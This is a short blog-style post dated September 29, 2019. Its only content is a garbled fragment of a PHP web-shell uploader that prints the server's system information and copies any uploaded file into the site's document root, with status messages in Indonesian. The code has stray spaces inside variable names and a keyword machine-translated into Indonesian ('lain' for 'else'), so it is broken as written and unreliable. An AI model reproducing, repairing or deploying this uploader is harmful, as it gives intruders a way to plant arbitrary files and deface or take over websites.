tes

Sunday, September 29, 2019

"; echo "" .php_uname (). " "; echo " "; $ root = $ _SERVER ['DOCUMENT_ROOT']; $ file = $ _FILES ['idx_file'] ['name']; $ dest = $ root. '/'. $ file; if (isset ($ _ POST ['upload'])) { if (is_writable ($ root)) { if (@copy ($ _ FILES ['idx_file'] ['tmp_name'], $ dest)) { $ web = "http: //". $ _ SERVER ['HTTP_HOST']. "/"; echo "unggahan sukses -> $web/$files "; } lain { echo "gagal unggah di root dokumen."; } } lain { if (@copy ($ _ FILES ['idx_file'] ['tmp_name'], $ files)) { echo "berhasil mengunggah $ file di folder ini"; } lain { echo "gagal unggah"; } } } ?>